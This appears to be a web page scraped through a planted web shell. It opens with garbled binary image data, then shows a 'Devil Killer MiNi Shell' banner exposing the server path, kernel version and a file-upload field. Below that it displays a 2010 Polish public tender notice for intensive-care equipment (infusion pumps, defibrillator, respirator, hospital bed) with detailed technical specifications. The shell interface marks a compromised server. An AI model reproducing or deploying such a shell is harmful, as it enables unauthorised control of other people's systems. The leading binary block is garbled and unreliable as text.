JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20101008/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20101008/324748-N-2010.html

<p class="kh_header"><b>Poniatowa: PRZETARG  NIEOGRANICZONY 
NA ZAKUP WRAZ Z DOSTAWĄ URZĄDZEŃ MEDYCZNYCH DLA WYPOSAŻENIA JEDNEGO STANOWISKA OIT DLA POTRZEB  SAMODZIELNEGO PUBLICZNEGO SANATORIUM GRUŹLICY  I CHORÓB</b><br>
<b>Numer ogłoszenia: 324748 - 2010; data zamieszczenia: 08.10.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Samodzielne Publiczne Sanatorium Gruźlicy i Chorób Płuc , ul.  Fabryczna 6, 24-320 Poniatowa, woj. lubelskie, tel. 081 8204730, faks 081 8204732.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.sanatoriumpg.republika .pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Samodzielny publiczny zakład opieki zdrowotnej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> PRZETARG  NIEOGRANICZONY 
NA ZAKUP WRAZ Z DOSTAWĄ URZĄDZEŃ MEDYCZNYCH DLA WYPOSAŻENIA JEDNEGO STANOWISKA OIT DLA POTRZEB  SAMODZIELNEGO PUBLICZNEGO SANATORIUM GRUŹLICY  I CHORÓB.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest zakup wraz z dostawą urządzeń medycznych dla wyposażenia 
            jednego stanowiska  OIT dla potrzeb Samodzielnego Publicznego Sanatorium Gruźlicy i 
            Chorób Płuc w Poniatowej-CPV 33100000-1
            Na przedmiot zamówienia składają się urządzenia medyczne:
1) ssak elektryczny;
2) pompa infuzyjna szt.6;
3) defibrylator,
4) aparat do wlewów,
5) respirator;
6) łóżko szpitalne sterowane elektrycznie z materacem piankowym prewencyjnym , 
     przeciwodleżynowym.

             Opis przedmiotu zamówienia
            Ad 1. Ssak elektryczny:
                     
1.
Wymiary 450 x 150 x 280 (H) mm
2.
Waga 4 kg
3.
Ciśnienie maksymalne regulowane:
-0,80 bar-600 mmHg-80 kPa
4.
Maksymalny swobodny przepływ powietrza 45 l/min
5.
Cykl pracy 30 min pracy  15 min przerwy
6.
Zasilanie 230 V-50 Hz
7.
Pobór mocy 157 W
8.
Gwarancja 24 miesiące
9.
Czas na usunięcie uszkodzenia 5 dni roboczych
10.
Czas reakcji na zgłoszone uszkodzenie 48 godzin
11.
Możliwość zgłaszania usterek 24 h/dobę
12.
Liczba napraw gwarancyjnych tego samego podzespołu uprawniająca do wymiany podzespołu na nowy max 3 naprawy
13.
Instrukcja obsługi w języka polskim

             Ad. 2. Pompa infuzyjna:
     
1.
Pompa infuzyjna jednostrzykawkowa z klawiaturą numeryczną (fabrycznie nowa) 
2.
Możliwość stosowania strzykawek o różnych pojemnościach: 10 ml, 20 ml, 30 ml, 50-60 ml 
3.
Możliwość stosowania strzykawek różnych producentów krajowych i zagranicznych (min 5) - podać nazwy producentów wykorzystywanych strzykawek
4.
Automatyczne rozpoznawanie strzykawek
5.
Zakres szybkości dozowania min 0,1-2000 ml na h
6.
Programowana szybkość podaży w jednostkach masy -podać
7.
Dokładność szybkości dozowania + -2%
8.
Dawka uderzeniowa tzw. -bolus-, dozowana w dowolnym momencie wlewu
9.
Regulowana szybkość dozowania dawki uderzeniowej -podać
10.
Programowane ciśnienie okluzji min. 9 stopni -podać
11.
Możliwość podglądu lub zmiany parametrów w trakcie infuzji
12.
Możliwość zablokowania przycisków klawiatury 
13.
Możliwość programowania nazwy oddziału
14.
Wewnętrzna lista leków z możliwością dopisywania nazw leków przez użytkownika -podać
15.
Możliwość pracy w min 4 opcjach: prędkość,prędkość i objętość, prędkość i czas, objętość i czas
16.
Funkcja Stand-By
17.
Funkcja KVO
18.
Historia infuzji
19.
System kontroli i sygnalizacji stanów zagrażających życiu pacjenta (wizualny i dźwiękowy)
20.
Wszystkie komunikaty w języku polskim
21.
Uchwyt obrotowy umożliwiający mocowanie
22.
Zasilanie sieciowe 230 V - 50 Hz + - 10% (zasilacz wewnętrzny)
23.
Zasilanie wewnętrzne akumulatorowe min 10h przy przepływie 5 ml-h -podać
24.
Automatyczne ładowanie akumulatorów w momencie podłączenia aparatu do zasilania sieciowego
25.
Gwarancja 24 miesiące
26
Czas na usunięcie uszkodzenia 5 dni roboczych
27
Czas reakcji na zgłoszone uszkodzenie 48 godzin
28
Możliwość zgłaszania usterek 24 h-dobę
29
Liczba napraw gwarancyjnych tego samego podzespołu uprawniająca do wymiany podzespołu na nowy max 3 naprawy
30
Instrukcja obsługi w języka polskim
             
          Ad .3. Defibrylator
1.
Urządzenie przenośne - ciężar max 7,5 kg (razem z łyżkami dla dzieci i dorosłych, 
kompletem akumulatorów i kabli)
2.
Aparat odporny na kurz i zalanie wodą (minimum klasa IP22 wg IEC529)
3.
Temperatura pracy w zakresie min. od 0 do 40oC
4.
Automatyczny codzienny test poprawności funkcjonowania nie wymagający włączania 
defibrylatora - na panelu wskaźnik - kontrolka informująca o stanie aparatu 
(sprawny - niesprawny)
5.
Zasilanie sieciowe - wbudowany zasilacz 230V 50 Hz 
6.
Wbudowana ładowarka - automatyczne ładowanie akumulatora-ów po przyłączeniu 
defibrylatora do sieci
7.
Zasilanie awaryjne akumulatorowe - czas pracy: 
- min. 4 godz ciągłego monitorowania EKG lub
- min. 3 godz. ciągłego monitorowania EKG i stymulacji
- min. 100 defibrylacji z maksymalną energią
8.
Wskaźnik poziomu naładowania akumulatora na panelu czołowym lub na akumulatorze, 
widoczny bez włączania urządzenia
9.
Możliwość szybkiej wymiany akumulatora/ów (bez rozkręcania aparatu) przez użytkownika 
10.
Czas ładowania akumulatora/ów do pełnej pojemności - maksymalnie 4 godziny
11.
Akumulatory ze zminimalizowanym efektem pamięci: litowo-jonowe lub 
kwasowo-ołowiowe, pojemność min. 5 Ah
12.
Rodzaj fali defibrylacyjnej - dwufazowa zapewniająca pełną skuteczność terapii przy 
obniżonych wartościach energii i prądu
13.
Defibrylacja ręczna i półautomatyczna
14.
Możliwość wykonania kardiowersji - synchronizacja zapisem EKG z łyżek, elektrod, 
kabla EKG i zewnętrznego kardiomonitora
15.
Energia maksymalna defibrylacji 200J
16.
Czas ładowania do energii maksymalnej max 10 sekund 
17.
Automatyczna kompensacja impedancji ciała pacjenta przy defibrylacji z łyżek
 i elektrod jednorazowych
18.
Minimum 20 dostępnych poziomów energii przy defibrylacji zewnętrznej
19.
Możliwość defibrylacji dzieci i dorosłych - łyżki dla dzieci i dorosłych zintegrowane 
20.
Pełne sterowanie defibrylacją za pomocą przycisków lub pokręteł na łyżkach 
(wybór poziomu energii, ładowanie, wyzwolenie wstrząsu, wewnętrzne rozładowanie, 
wydruk)
21.
Monitorowanie min 3 odprowadzeń EKG
22.
Zakres pomiaru częstości pracy serca HR min. 0-300 -min z dokładnością + 5%
23.
Programowane przez użytkownika pasmo przenoszenia (min. 3 różne wartości)
24.
Wzmocnienie sygnału EKG min. 0,5-2,0 cm mV
25.
Sygnalizacja dźwiękowa i wizualna alarmów dla wszystkich monitorowanych 
parametrów życiowych oraz alarmów technicznych 
26.
Możliwość czasowego zawieszenia i wyłączenia alarmów
27.
Manualne oraz automatyczne nastawianie granic alarmowych HR i SpO2
28.
Ekran kolorowy o przekątnej min. 6,5 o wysokim kontraście 
29.
Prezentacja min. 3 kanałów EKG na ekranie
30.
Wbudowany rejestrator termiczny EKG na papier o szerokości min. 90 mm
31.
Możliwość wydruku 1 i 3 kanałów jednocześnie
32.
Szybkość wydruku min. 25 mm/sek
33.
Pamięć wewnętrzna min. 300 epizodów z fragmentami zapisu EKG
34.
Możliwość zapisu danych na kartach pamięci
35.
Szybkie wprowadzanie (za pomocą przypisanych przycisków) do pamięci krótkich 
opisów: nazw leków i wykonywanych zabiegów  procedur
36.
Tryb asynchroniczny i na żądanie
37.
Częstotliwość stymulacji w zakresie min. 30-180 imp min
38.
Prąd stymulacji w zakresie min 0-120 mA 
39.
Stała szerokość impulsu min. 40 ms 
40.
W cenie oferty minimum 5 kompletów elektrod do stymulacji
41.
Technologia pomiaru odporna na zakłócenia: Masimo SET 
42.
Zakres pomiaru SpO2 min. 1-100%
43.
Programowane przez użytkownika czas uśredniania pomiaru (minimum 3 wartości)
 oraz czułość pomiaru
44.
W komplecie czujnik wielorazowy klips dla dorosłych
45.
Gwarancja 24 miesiące
46.
Czas na usunięcie uszkodzenia 5 dni roboczych
47.
Czas reakcji na zgłoszone uszkodzenie 48 godzin
48.
Możliwość zgłaszania usterek 24 h dobę
49.
Liczba napraw gwarancyjnych tego samego podzespołu uprawniająca do wymiany 
podzespołu na nowy max 3 napraw.
50.
Instrukcja obsługi w języku polskim.
                    
               Ad.4    Aparat do wlewów

     1.
Rękaw o wymiarach pozwalających na włożenie płynu infuzyjnego min.500ml w butelce
 lub w worku
     2.
Jedna część rękawu wykonana z materiału umożliwiającego obserwację płynu 
infuzyjnego
     3.
Manometr wytwarzanego ciśnienia w rękawie
     4.
Pompka ręczna do worka powietrznego z zaworem spustowym
     5.
Możliwość zawieszenia płynu infuzyjnego
     6.
Możliwość zawieszenia aparatu na statywie
     7.
Możliwość wymiany worka powietrznego
     8.
Gwarancja 24 miesiące
     9.
Czas na usunięcie uszkodzenia 5 dni roboczych
   10.
Czas reakcji na zgłoszone uszkodzenie 48 godzin
   11.
Możliwość zgłaszania usterek 24 h dobę
   12.
Liczba napraw gwarancyjnych tego samego podzespołu uprawniająca do wymiany 
podzespołu na nowy max 3 naprawy
   13.
Instrukcja obsługi w języka polskim
                    
              Ad.5 Respirator

   1.
Respirator do inwazyjnej i nieinwazyjnej wentylacji kontrolowanej i wspomaganej 
   2.
Respirator do postawienia na półce  z możliwością zamontowania do wózka , wyposażony
w podstawę jezdną 
   3.
Instrukcja obsługi w języku polskim
  4.
Zasilanie podstawowe z sieci elektrycznej 230 V, 50 Hz, zasilanie z wewnętrznego 
akumulatora do podtrzymania pracy aparatu wraz ze źródłem powietrza na min 60 min 
  5.
Możliwość zasilania tlenem z koncentratora tlenu lub butli tlenowej
  6.
Wyposażony we własne, niezależne od sieci centralne źródło powietrza medycznego 
(kompresor, turbina, tłok), zapewniające długotrwałą wentylację 
  7.
Respirator przystosowany do pracy z nawilżaczem aktywnym lub wymiennikiem  wilgoci 
typu FHME (sztuczny nos).

Tryby wentylacji
  8.
Oddech spontaniczny wspomagany ciśnieniem PSV
  9.
Oddech spontaniczny wspomagany ciśnieniem PSV z możliwością ustawienia 
gwarantowanej objętości oddechu (VG)
  10.
SIMV - VCV synchronizowana przerywana wentylacja wymuszona z oddechami 
wymuszonymi objętościowo kontrolowanymi
  11.
Dodatnie ciśnienie końcowo-wydechowe   ciągłe dodatnie ciśnienie w drogach 
oddechowych PEEP/ CPAP
  12.
Wentylacja ciśnieniowo- kontrolowana PCV
  13.
Wentylacja na dwóch poziomach ciśnienia typu BIPAP, BiLevel
  14.
Wentylacja objętościowo kontrolowana VCV
  15.
Wentylacja przy bezdechu uruchamiana automatycznie 

Parametry regulowane
  16.
Częstość oddechów w zakresie min. 6 - 501 min
  17.
Objętość pojedynczego oddechu przy wentylacji objętościowo-kontrolowanej 
w zakresie min 100-1500ml
  18.
Ciśnienie wdechu dla wentylacji ciśnieniowo kontrolowanych w zakresie min  10-50 mbar
  19.
Ciśnienie wspomagania PSV w zakresie min  5 - 40 mbar  
  20.
Ciśnienie PEEP CPAP w zakresie min 4 - 20 mbar
  21.
Czas wdechu w zakresie min 0,4-8,0 sek.
  22.
Stosunek wdech :wydech (I:E) w zakresie min 1:2 do 2:1
  23.
Płynna regulacja czasu przyspieszenia przepływu dla oddechów ciśnieniowo
 kontrolowanych i wspomaganych 
  24.
Automatyczna regulacja czasu przyspieszenia przepływu 
  25.
Automatyczny dobór czułości triggera oddechowego do sposobu spontanicznego 
oddychania pacjenta

Prezentacja
  26.
Aktualnie prowadzony tryb wentylacji
  27.
Rzeczywista całkowita częstość oddychania
  28.
Objętość pojedynczego oddechu
  29.
Całkowita wentylacja minutowa 
  30.
Wentylacja minutowa przecieku, objętość przecieku lub udział procentowy przecieku
  31.
Szczytowe ciśnienie wdechowe
  32.
Średnie ciśnienie cyklu oddechowego
  33.
Ciśnienie PEEP
  34.
Prezentacja na kolorowym ekranie cyfrowych wartości parametrów monitorowanych
 przez respirator
  35.
Prezentacja na kolorowym ekranie respiratora krzywych oddechowych:
-ciśnienie w funkcji czasu
- przepływ w funkcji czasu 

Alarmy
  36.
Zbyt wysokiej i zbyt niskiej objętości minutowej 
  37.
Zbyt wysokiej częstości oddechów - tachypnoe 
  38.
Bezdechu z regulowanym czasem bezdechu w granicach min 10-60 sek
  39.
Zbyt wysokiego ciśnienia szczytowego wdechu
  40.
Rozłączenia układu oddechowego
  41.
Alarm rozłączenia układu oddechowego z regulowanym dopuszczalnym czasem 
rozłączenia do min 100 sek
  42.
Regulowana głośność alarmów
.
Inne wymagania
  43.
Zabezpieczenie ustawionych parametrów przed przypadkową zmianą przez pacjenta
  44.
Hałas w czasie pracy nie większy niż 40 dBA
  45.
Możliwość podłączenia baterii zewnętrznej o napięciu od 12 do 24 V DC
  46.
Dwa kompletne układy oddechowe dla dorosłych wielokrotnego użytku, 
Jednoramienny układ oddechowy 
  47.
Wodoszczelność obudowy w klasie minimum IPX 1 
  48.
Waga respiratora nie większa niż 6 kg
  49.
Gwarancja 24 miesiące
  50.
Czas na usunięcie uszkodzenia 5 dni roboczych
  51.
Czas reakcji na zgłoszone uszkodzenie 48 godzin
  52.
Możliwość zgłaszania usterek 24 h dobę
  53.
Liczba napraw gwarancyjnych tego samego podzespołu uprawniająca do wymiany
 podzespołu na nowy max 3 naprawy
  54.
Instrukcja obsługi w języka polskim

           Ad.6 Łóżko szpitalne sterowane elektrycznie z materacem piankowym             
                 prewencyjnym przeciwodleżynowym





Nazwa i opis parametru lub funkcji urządzenia



Długość całkowita bez przedłużenia leża

2250 ? 50mm

Długość leża pod  materac

2000 ? 50mm

Szerokość leża pod materac

900? 10mm

Szerokość przy całkowicie opuszczonych barierkach

900 ? 30mm

Szerokość przy całkowicie podniesionych barierkach

1100 ? 30mm

Regulacja elektryczna wysokości  


Wysokość minimalna leża mierzona od podłoża do górnej płaszczyzny segmentów leża bez materaca
450 ? 15 mm

Wysokość maksymalna leża mierzona od podłoża do górnej płaszczyzny segmentów leża bez materaca
750 ? 15 mm

Konstrukcja łóżka wykonana ze stali węglowej lakierowanej proszkowo. Leże podzielone na min. 4 segmenty  z czego min. 3 ruchome. Segmenty leża wypełnione płytami ze zmywalnego tworzywa sztucznego lub płytami stalowymi lakierowanymi proszkowo. 



Leże łóżka wyposażone w ogranicznik zlokalizowany w segmencie podudzia zapobiegający zsuwaniu się materaca na szczyt od strony nóg w trakcie unoszenia segmentu oparcia.


Elektryczna regulacja segmentu oparcia pleców oraz osobna regulacja oparcia do pozycji krzesła kardiologicznego dostępna z jednego przycisku


Zakres regulacji kąta nachylenia segmentu oparcia pleców w stosunku do poziomu  ramy leża
min. 0o-70o

Elektryczna regulacja segmentu uda


Zakres regulacji segmentu uda w stosunku do poziomu ramy leża
min. 0o-25o

Manualna  regulacja segmentu podudzia - mechanizm zapadkowy ze wspomaganiem sprężyną  min. 3 pozycje do łatwiejszego podniesienia segmentu z nogami pacjenta.


Zakres regulacji segmentu podudzia w stosunku do poziomu ramy leża
min. -15o-0o

Elektryczna  regulacja pozycji Trendelenburga i anty-Trendelenburga. 


Zakres regulacji pozycji Trendelenburga i anty-Trendelenburga 
min.  -12o- +12o

Rama łóżka  wyposażona w obustronne wskaźniki kąta nachylenia leża z podziałką wyrażoną w stopniach w zakresie od 0o do 12o osobno do nachylenia Trendelenburga i anty-Trendelenburga. 


Regulacje funkcji sterowanych elektrycznych odbywają się z użyciem:
-  przycisków na panelu centralnym z możliwością selektywnej blokady zlokalizowanych  pod szczytem łóżka od strony nóg pacjenta - wszystkie regulacje.
- regulacja wysokości, kąta nachylenia oparcia, segmentu uda oraz pozycji krzesła kardiologicznego  sterowana z paneli wbudowanych w barierki boczne od strony zewnętrznej i wewnętrznej
Możliwość elektrycznego ustawienia segmentów leża do pozycji krzesła kardiologicznego z wychyleniem do pozycji anty-Trendelenburga. 
Możliwość  ustawienia segmentów leża do pozycji  naczyniowej z uniesionymi nogami w sekcji podudzia.


4 koła o średnicy min.127 mm ? 3mm z indywidualną lub centralną blokadą oraz funkcją jazdy kierunkowej.


Funkcja jazdy kierunkowej realizowana poprzez zablokowanie do jazdy na wprost min. jednego koła od strony nóg pacjentki co umożliwi przetaczanie łóżka przez jedną osobę personelu medycznego.


Mechaniczna funkcja CPR dostępna z obustronnych dźwigni wyraźnie odróżniająca się kolorystycznie od innych i oznaczona napisem CPR lub RKO.


Barierki boczne podwójne, dzielone, poruszające się wraz z segmentami łóżka, zapewniające ochronę na całej długości leża w pozycji leżącej oraz ochronę w pozycji siedzącej po bokach. Barierki po złożeniu chowają się pod leże dla zapewnienia łatwego transferu pacjenta zarówno na wózek do transportu w pozycji leżącej jak i w pozycji siedzącej. Materace styczne są na całej długości po dostawieniu wózka do transportu pacjenta.


Konstrukcja barierek bocznych umożliwiająca ich składanie rozkładanie  przy użyciu jednej ręki oraz zabezpiecza pacjenta przed zaklinowaniem kończyn pod barierkami. Barierki służą dodatkowo jako podparcie przy opuszczaniu łóżka przez pacjenta.


Wysokość od górnej powierzchni leża w pozycji płaskiej do górnej krawędzi barierek bocznych gdy są uniesione dla  zapewnienia bezpieczeństwa zapobieganiu wypadnięciu z łóżka pacjenta przy grubości materaca do 150 mm
min 400 mm

Zewnętrzne wykończenie barierek bocznych oraz zdejmowanych szczytów łóżka z tworzywa sztucznego. Szczyty łóżka od strony głowy pacjenta zdejmowane jednym ruchem dla natychmiastowego dostępu anestezjologa do pacjenta w sytuacjach ratujących życie . Szczyty łóżka z tworzywa sztucznego z wyprofilowanymi uchwytami do prowadzenia łóżka.


Dopuszczalne bezpieczne obciążenie robocze 
min. 200 kg

Maksymalny łączny ciężar łóżka.
max. 145 kg

Łóżko oznaczone trwale znakiem CE oraz kodem kreskowym w świetle obowiązujących uregulowań unijnych.





MATERAC


Materac piankowy przeciwodleżynowy prewencyjny o różnym stopniu  redystrybucji nacisku na ciało pacjenta.


Pokrowiec materaca o właściwościach paroprzepuszczalnych, wodoszczelny ze zgrzewanymi krawędziami lub krawędziami zszywanymi.


Wymiary materaca dostosowane do leża łóżka


Długość materaca 
2000 ?30mm

Szerokość materaca
900 ? 10mm

Grubość materaca
150 ? 10mm

Materac  wykonany w technologii niepalnej - rdzeń piankowy w otulinie dodatkowo ułatwiający poślizg


Materac min. 3 strefowy - głowa, biodra, stopy z widocznymi kostkami lub pasami  piankowymi po zdjęciu pokrowca zapewniający zróżnicowany niski nacisk na ciało pacjenta.


Widoczne  przerwy pomiędzy kostkami lub pasami piankowymi o różnej wielkości w strefie głowy bioder i pięt celem poprawienia przepływu powietrza pod pokrowcem i zbieraniu się wilgoci.


Materac wzmocniony na bokach pianką o wysokiej gęstości stabilizująca rdzeń dla poprawienia bezpieczeństwa pacjenta i ułatwienia schodzenia z łóżka.


Pokrowiec materaca dwuczęściowy, dolny segment wykonany z tkaniny  podgumowanej łatwej do dezynfekcji, górny segment z tkaniny w kolorze żółtym 


Materac oznaczony trwale znakiem CE oraz kodem kreskowym w świetle obowiązujących uregulowań unijnych.


Wyposażenie łóżka


Wieszak do kroplówek min. 2 haki z regulację wysokości.


Uchwyty na akcesoria i zaczepy na pojemniki na płyny fizjologiczne z obu stron łóżka


4 krążki odbojowe wykonane z elastycznego materiału typu guma w narożach łóżka.


Min. 8 uchwytów do ewentualnego unieruchomienia pacjenta


Uchwyty na wieszaki kroplówek w narożach łóżka.





Warunki gwarancji i serwisu gwarancyjnego





Okres gwarancji na łóżka
 min. 24 miesiące

Okres gwarancji na materace
 min. 36 miesiące

Liczba gwarancyjnych przeglądów serwisowych
Dwa

Czas reakcji serwisu na zgłoszenie awarii w okresie gwarancji
max. 24 godziny

Czas usunięcia awarii w okresie gwarancji 
 max 14.dni

Wymagane normy


Spełnianie następujących norm przewidzianych dla łóżek szpitalnych : 
Norma IEC 60601-1 Określająca parametry elektrycznego wyposażenia medycznego: ogólne wymogi dotyczące bezpieczeństwa
Norma IEC 606 01-1-2 Norma najwyższego poziomu, określająca stopień zgodności elektro-magnetycznej dla elektrycznego wyposażenia medycznego.
Norma IEC 60601-2-38 określająca wymagania dotyczące bezpieczeństwa łóżek szpitalnych pod względem ich konstrukcji, wytrzymałości mechanicznej, zagrożenia ze strony elementów mechanicznych, stopnia zabezpieczenia przed oddziaływaniem substancji płynnych oraz podstawowej charakterystyki.
Norma UL 60601. Podstawowa norma dotycząca medycznego wyposażenia elektrycznego.
Norma IXP 4. Określa poziom zabezpieczenia przed oddziaływaniem substancji płynnych.
Na przedmiot zamówienia składa się także instalacja przedmiotu zamówienia w miejscu wskazanym przez zamawiającego , uruchomienie przedmiotu zamówienia, szkolenie personelu..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 33.10.00.00-1.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 15.12.2010.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie żąda wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>W zakresie posiadania uprawnień do wykonania określonej działalnośći: Wykonawca
wykarze że posiada uprawnienia do wykonania określonej działalnności lub czynności , jeżeli przepisy prawa  nakładają obowiązek ich posiadania, ocena zostanie dokonana wg.formuły spełnia - nie spełnia na podstawie oświadczeń i dokumentów , o których mowa w rozdziale VI SIWZ</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
</li>

